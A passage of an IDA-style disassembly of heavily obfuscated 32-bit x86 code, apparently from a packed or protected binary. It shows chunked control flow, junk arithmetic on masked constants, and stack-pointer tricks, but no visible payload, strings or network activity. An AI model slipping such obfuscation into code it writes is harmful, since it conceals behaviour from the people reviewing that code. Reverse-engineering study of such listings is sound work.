		push	5AC6h
		jmp	loc_5A7676
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_5A86D0	proc near		; CODE XREF: sub_5A72CB-AB3Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059CC45 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059D80C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A000F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A220D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A34B7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5911 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5998 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A73AD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7BD9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A8DE7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AC030 SIZE 00000006 BYTES

		push	ebp
		push	edi
		push	5C6E4EF8h
		jmp	loc_5A7BD9
sub_5A86D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF9B3


loc_5A86DC:				; CODE XREF: sub_5AF9B3-1582j
		pop	edx
		jmp	loc_5AFF0F
; END OF FUNCTION CHUNK	FOR sub_5AF9B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A86E2:				; CODE XREF: sub_5AA2D1+1022j
		mov	al, 80h
		sub	cl, al
		pop	ax
		jmp	loc_59CBC4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A86ED:				; CODE XREF: sub_59C979+12173j
		mov	cl, 48h
		or	cl, 42h
		jg	loc_5AF397
		jmp	loc_5A44ED
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	40FCh
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8707:				; CODE XREF: sub_5AA2D1-748j
		jmp	sub_59F3B6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A870C:				; CODE XREF: sub_5AF294-CE0Ej
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		jmp	loc_5A93CA
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8719:				; CODE XREF: sub_5AA2D1-F1BCj
					; sub_5AA2D1-3D8j ...
		mov	ecx, 0D12BE4BFh
		xor	edx, ecx
		pop	ecx
		add	esi, edx
		jmp	loc_59B92D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A8728:				; CODE XREF: sub_5A7BA0+5B0Cj
		pop	edx
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59A2C3
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE4A9


loc_5A8734:				; CODE XREF: sub_5AE4A9-12CA9j
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		jmp	loc_5999A0
; END OF FUNCTION CHUNK	FOR sub_5AE4A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A8750:				; CODE XREF: sub_5A6BBC-CE37j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		jmp	loc_5A7A58
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A8766:				; CODE XREF: sub_59EE3E-54A3j
		jp	loc_5A28BD
		jmp	loc_5AEE8D
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A8771:				; CODE XREF: sub_599A61+EACj
		add	ebx, 59C76904h
		add	ebp, ebx
		pop	ebx
		push	[esp-10h+arg_8]
		pop	eax
		add	esp, 4
		sub	ebp, 2
		push	1E10h
		mov	[esp-10h+arg_8], ebp
		jmp	loc_5AFE15
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------


loc_5A8797:				; CODE XREF: sdfs____:0059EC13j
		add	ebx, 4
		jmp	loc_5A048E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A87A2:				; CODE XREF: sub_5AB207-1041Bj
		push	0
		sub	[esp-8+arg_4], ebx
		pop	ebx
		sub	ebx, 0D4B0C2CAh
		sub	edi, 431230C1h
		add	edi, ebx
		add	edi, 431230C1h
		pop	ebx
		mov	ebx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A5087
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------


loc_5A87D7:				; CODE XREF: sdfs____:005A1939j
		inc	ecx
		not	ecx
		jmp	loc_5A27E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A87DF:				; CODE XREF: sub_599117+E446j
		mov	esi, 46E01DFh
		sub	ebx, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 0D3302BFh
		add	ebx, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 0D3302BFh
		push	edi
		push	esi
		push	43C36831h
		pop	esi
		mov	edi, esi
		pop	esi
		shl	edi, 5
		sub	edi, 0FFFFFFFFh
		neg	edi
		not	edi
		jmp	loc_5A471B
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A881F:				; CODE XREF: sub_5AA2D1-D5C4j
		add	esp, 4
		and	al, 9Bh
		jmp	loc_59EF96
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_59E16C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A882F:				; CODE XREF: sub_59D6B8+1185Aj
		push	ecx
		jmp	loc_5ADEE6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4B1


loc_5A8835:				; CODE XREF: sub_59B4B1+1j
		push	ecx
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59D0F4
; END OF FUNCTION CHUNK	FOR sub_59B4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7508


loc_5A8843:				; CODE XREF: sub_5A7508+75BFj
		xor	edi, 8415E0Eh
		jz	loc_59CCCD
		sub	edi, 0FB368CE3h
		sub	edi, 238F3AA4h
		jmp	loc_5ABF4E
; END OF FUNCTION CHUNK	FOR sub_5A7508
; ---------------------------------------------------------------------------


loc_5A8860:				; CODE XREF: sdfs____:0059F106j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5AEB59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A8878:				; CODE XREF: sub_5B01F7-C0D9j
		shr	eax, 2
		jnp	loc_5A291C
		push	6913h
		mov	[esp+1Ch+var_1C], ecx
		mov	esi, ebp
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A888C:				; CODE XREF: sub_5AA2D1-1F9Aj
		not	ah
		jmp	loc_59DEB7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A8893:				; CODE XREF: sub_5AE29C+Bj
		mov	edx, edi
		pop	edi
		sub	ebp, 4FE976EDh
		add	ebp, edx
		push	eax
		mov	eax, 5E690AC5h
		not	eax
		jmp	loc_5A505A
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A88AB:				; CODE XREF: sub_59FC02+DEC4j
		mov	ebx, ecx
		jmp	loc_5AF5EA
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------


loc_5A88B2:				; CODE XREF: sdfs____:005A7D91j
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AF90F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A88C1:				; CODE XREF: sub_5AA2D1:loc_59F62Fj
					; sub_5AA2D1-1510j
		jle	loc_5ABC97
		sub	ebx, 227749C7h
		sub	ebx, 5E0E70E6h
		mov	bh, bh
		push	ecx


loc_5A88D6:				; CODE XREF: sub_5A0924+8ED7j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_5AFCEE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599664


loc_5A88ED:				; CODE XREF: sub_599664+1238Aj
		mov	dx, [esp+0]
		add	esp, 2
		mov	bp, [esp-6+arg_2]
		add	esp, 2
		push	dx
		push	small [esp-8+arg_6]
		pop	dx
		pop	small word ptr [esp+0]
		mov	dx, [esp-0Ah+arg_6]
		jmp	loc_59BBB7
; END OF FUNCTION CHUNK	FOR sub_599664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5A8914:				; CODE XREF: sub_5AB5A9-47E9j
		push	dword ptr [esp+0]
		pop	ebp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+4+var_4]
		jmp	loc_59CFDF
; END OF FUNCTION CHUNK	FOR sub_5AB5A9

; =============== S U B	R O U T	I N E =======================================



sub_5A8931	proc near		; CODE XREF: sub_5A18F6+1E52j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599D64 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3E0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A920F SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_599D64
sub_5A8931	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A893C:				; CODE XREF: sub_5A2E28+3395j
					; sub_5A79BE+475Dj
		pop	ecx
		push	1E3Fh
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		jmp	sub_5A7508
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A894C:				; CODE XREF: sub_5A477C+9053j
		inc	ebx
		or	ebx, 75B5365Bh
		jmp	loc_59E496
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A66A


loc_5A8958:				; CODE XREF: sub_59A66A+A763j
		push	44FDh
		mov	[esp+8+var_8], ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		jmp	sub_59E325
; END OF FUNCTION CHUNK	FOR sub_59A66A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A8973:				; CODE XREF: sub_59C979+CC96j
		mov	ecx, 50A791Ah
		mov	edx, 653A47FFh
		xor	edx, ecx
		jmp	loc_59CA94
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A8984:				; CODE XREF: sub_5A79BE-6968j
		pop	esi
		add	ecx, eax
		add	ecx, 0B763F1Dh
		jmp	loc_5ABBB8
; END OF FUNCTION CHUNK	FOR sub_5A79BE

; =============== S U B	R O U T	I N E =======================================



sub_5A8992	proc near		; CODE XREF: sub_5A4F29+8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A0185 SIZE 0000001C BYTES

		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A0185
sub_5A8992	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A89AC:				; CODE XREF: sub_5AA2D1-A2DDj
		pop	edx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		mov	ebp, 1
		push	32A5h
		mov	[esp+0], eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		jmp	loc_5AFEEB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A89D9:				; CODE XREF: sub_5A5EFF+3EB1j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	30C1h
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_59A0BE
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A89F9:				; CODE XREF: sub_5992DA+110A0j
		pop	esp
		mov	[esp-4+arg_0], ecx
		push	ebx
		mov	bl, 10h
		mov	ch, bl
		push	dword ptr [esp+0]
		jmp	loc_5ABD6E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5A8A0A:				; CODE XREF: sub_5A5824+8ADAj
		mov	[esp+0], edx
		sub	esp, 4
		mov	[esp+0], edi
		pop	edx
		jmp	loc_5A8514
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A8A19:				; CODE XREF: sub_59C979+9A2Bj
		push	16C2h
		mov	[esp+0Eh+var_10+2], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 298F0311h
		push	ebp
		mov	ebp, 5D6A7F92h
		inc	ebp
		neg	ebp
		and	ebp, 40091A18h
		inc	ebp
		add	ebp, 57C22405h
		jmp	loc_5A2025
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5A8A44:				; CODE XREF: sub_5A2166-7507j
					; sdfs____:005A1C0Ej
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	37CEh
		mov	[esp-4+arg_0], esi
		sub	esp, 4
		jmp	loc_5AEC34
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A8A64:				; CODE XREF: sub_59D6B8+9887j
		push	[esp+14h+var_10]
		mov	esi, [esp+18h+var_18]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_5AF7DA
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8A7A:				; CODE XREF: sub_5992DA+F1Dj
		add	ecx, 5C94AA4h
		mov	eax, ecx
		pop	ecx
		add	edx, 7F8D06B1h
		jmp	loc_5ABA61
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A8A8E:				; CODE XREF: sub_59993B+10002j
		mov	eax, [esp+0Ch+var_C]
		push	edx
		push	esp
		pop	edx
		jmp	loc_59C2DB
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8A99:				; CODE XREF: sub_5AA2D1-5C45j
		inc	ax
		not	ax
		not	ax
		jmp	loc_59CD71
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_5A8AA6:				; CODE XREF: sub_5A54C9-3A1Dj
		push	eax
		push	2BBA323Bh
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		jmp	loc_5A7007
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A8AB8:				; CODE XREF: sub_5ADD33-9B5j
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AF28A
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A8ACE:				; CODE XREF: sub_5A0FFF+2F9Ej
					; sub_59D6B8+8DA9j
		jmp	loc_59C4E2
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A8AD3:				; CODE XREF: sub_5AC803-12A51j
		add	esp, 4
		push	ebx
		mov	bh, 46h
		and	bh, 12h
		jns	loc_59CD88
		xor	bh, 32h
		shl	bh, 2
		shr	bh, 4
		push	ecx
		push	esp


loc_5A8AF0:				; CODE XREF: sub_5A5EFF+66F8j
		push	ebp
		xor	[esp+8+var_8], 7F8E76EBh
		pop	esi
		push	eax
		push	esi
		mov	esi, 74546E52h
		xor	esi, 1373129Eh
		js	loc_5AA4F7
		neg	esi
		jge	sub_59F1F3
		jmp	loc_5A81DF
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A8B19:				; CODE XREF: sub_5996E4-4DFj
		push	esp
		pop	esi
		push	edi
		jmp	loc_5A9614
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8B3E


loc_5A8B21:				; CODE XREF: sub_5A8B3E+4546j
		add	esp, 4
		jmp	loc_5AACC6
; END OF FUNCTION CHUNK	FOR sub_5A8B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8B2C:				; CODE XREF: sub_5AA2D1-B5F4j
		push	703Ch
		jmp	loc_5B00D8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A8B36:				; CODE XREF: sdfs____:005AA8C6j
		sub	cl, 24h
		jmp	loc_5AA3B4

; =============== S U B	R O U T	I N E =======================================



sub_5A8B3E	proc near		; DATA XREF: sdfs____:00598FE4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A3A8E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8B21 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AACC6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AB132 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD07D SIZE 0000000C BYTES

		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_5AB132
sub_5A8B3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADAE7


loc_5A8B47:				; CODE XREF: sub_5ADAE7-10702j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	7190h
		mov	[esp+0Ch+var_C], edx
		jmp	loc_59A9FF
; END OF FUNCTION CHUNK	FOR sub_5ADAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A8B60:				; CODE XREF: sub_5ADD33-7999j
		btr	[esp+0], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8B6B:				; CODE XREF: sub_5AA2D1-2D88j
		pop	esp
		push	4861h
		mov	[esp-20h+arg_1C], edx
		push	4
		pop	edx
		add	ecx, 1850243h
		jmp	loc_5ACA40
; ---------------------------------------------------------------------------


loc_5A8B85:				; CODE XREF: sub_5AA2D1+5E41j
		jmp	sub_5A1531
; ---------------------------------------------------------------------------


loc_5A8B8A:				; CODE XREF: sub_5AA2D1-8BDj
		sub	[esp-20h+arg_1C], 464903D9h
		jmp	loc_5A9092
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A355D


loc_5A8B96:				; CODE XREF: sub_5A355D+9j
		mov	[esp+4+var_4], ebx
		jmp	loc_5AFDAD
; END OF FUNCTION CHUNK	FOR sub_5A355D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A8B9E:				; CODE XREF: sub_59A9E9+116B1j
		sub	edi, 4AE172Ah
		jmp	loc_5AC073
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8BA9:				; CODE XREF: sub_5AA2D1+5601j
		mov	edx, 42FF53A6h
		inc	edx
		neg	edx
		and	edx, 71FB74D5h
		add	edx, 14884FE3h
		xor	esi, edx
		pop	edx
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7C47
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5997FD


loc_5A8BC8:				; CODE XREF: sub_5997FD+4859j
		add	[esp+4], ebp
		jmp	loc_5AE51F
; END OF FUNCTION CHUNK	FOR sub_5997FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_5A8BD1:				; CODE XREF: sub_59F074-321Bj
		shr	ebx, 7
		add	ebx, 42F1DFD6h
		or	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		shl	ebp, 8
		push	eax
		mov	eax, 6F93BFB1h
		xor	ebp, eax
		jmp	loc_5ABBA2
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A8BF2:				; CODE XREF: sub_5A79BE+1A9Fj
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		pop	eax
		jmp	loc_5A34D5
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A8C05:				; CODE XREF: sub_5B01F7-158B0j
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		add	[esp+14h+var_10], 2855473Dh
		add	[esp+14h+var_10], ebp
		push	ecx
		jmp	loc_5AFC3D
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5A8C20:				; CODE XREF: sub_5AB207+4050j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_59F22F
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5A8C3A:				; CODE XREF: sub_59FC02:loc_5A4E47j
					; sub_5A18F6+E46Ej
		pop	esi
		pop	[esp+10h+var_10]
		jmp	loc_5A8379
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8C43:				; CODE XREF: sub_5992DA+823Dj
		add	edx, 2D5C2663h
		add	edx, ebx
		jmp	loc_59F3CA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A8C50:				; CODE XREF: sub_59CC21+Aj
					; sub_59E94B+6D5Dj
		add	dword ptr [esp+0], 4
		jmp	loc_5AA9BD
; END OF FUNCTION CHUNK	FOR sub_59E94B

; =============== S U B	R O U T	I N E =======================================



sub_5A8C5C	proc near		; CODE XREF: sub_5A311C-A45j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0059CB7E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A510A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A7920 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A799D SIZE 00000021 BYTES

		sub	esp, 4
		mov	[esp-8+arg_4], eax
		jmp	loc_59CB7E
sub_5A8C5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A8C6A:				; CODE XREF: sub_5A9EBF-EF5Bj
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_5AA630
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A8C77:				; CODE XREF: sub_59CBE1+20D6j
		jmp	loc_5A988C
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A8C7C:				; CODE XREF: sub_59FB1A+F7FDj
		pop	eax
		jmp	loc_5A957C
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A8C82:				; CODE XREF: sub_59D18A+2765j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A2D9D
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A8C8F:				; CODE XREF: sub_5A913B-E8B8j
		add	bl, 61h
		jmp	loc_5AF8B6
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A8C97:				; CODE XREF: sub_5A0924+85CFj
		xchg	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		jmp	loc_599B3E
; END OF FUNCTION CHUNK	FOR sub_5A0924

; =============== S U B	R O U T	I N E =======================================



sub_5A8CA3	proc near		; CODE XREF: sub_59A516+8C52j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A142E SIZE 0000001A BYTES

		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A142E
sub_5A8CA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A8CAB:				; CODE XREF: sub_5AC803-4AB8j
		shr	ch, 8
		jmp	loc_599D06
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8CB3:				; CODE XREF: sub_5AA2D1-6623j
		push	ecx
		jmp	loc_5A9CBC
; ---------------------------------------------------------------------------


loc_5A8CB9:				; CODE XREF: sub_5AA2D1-8ADDj
		push	546h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 6F6D2831h
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], edx
		push	edx
		mov	edx, 31BB4122h
		jmp	loc_59D105
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A169C


loc_5A8CEF:				; CODE XREF: sub_5A169C+8FBBj
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A5340
; END OF FUNCTION CHUNK	FOR sub_5A169C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A8D0C:				; CODE XREF: sub_59EE3E+8208j
		push	[esp+4+var_4]
		jmp	loc_59DC61
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A8D14:				; CODE XREF: sub_59D6B8-1B0Dj
		jns	loc_59C1CB
		neg	ebx
		js	loc_5A15AA
		add	ebx, 0FDAF188h
		and	ecx, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		shl	ecx, 2
		push	70D6h
